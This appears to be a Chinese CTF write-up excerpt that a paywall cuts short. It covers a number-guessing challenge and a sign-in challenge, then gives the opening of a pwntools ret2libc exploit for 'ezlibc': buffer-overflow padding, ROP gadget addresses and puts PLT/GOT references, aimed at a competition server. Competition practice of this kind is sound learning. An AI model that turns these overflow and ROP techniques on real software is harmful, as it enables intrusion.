本文展示了几个编程和技术挑战中的漏洞利用方法，包括整数溢出攻击、利用ROPgadget获取puts地址、执行system调用以及编写和使用shellcode。内容涉及远程连接、ELF文件、libc库和python3脚本在安全竞赛中的应用。
0x1.guess me
简单猜数字 不用脚本 先输入50 如果大了就再输入25小了就75 以此类推
0x2.签到 自己签到吧
0x3.ezlibc
from pwn import *
io=remote('node4.anna.nssctf.cn',28843)
elf=ELF('./lit/pwn4')
libc=ELF('./lit/libc-2.31.so')
context(arch='amd64', os='linux', log_level='debug')
ret=0x400556
rdi=0x4007d3
main=elf.sym['main']
Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)
#ROPgadget --binary file_name --only "pop|ret"
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
最低0.47元/天 解锁文章
2442
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
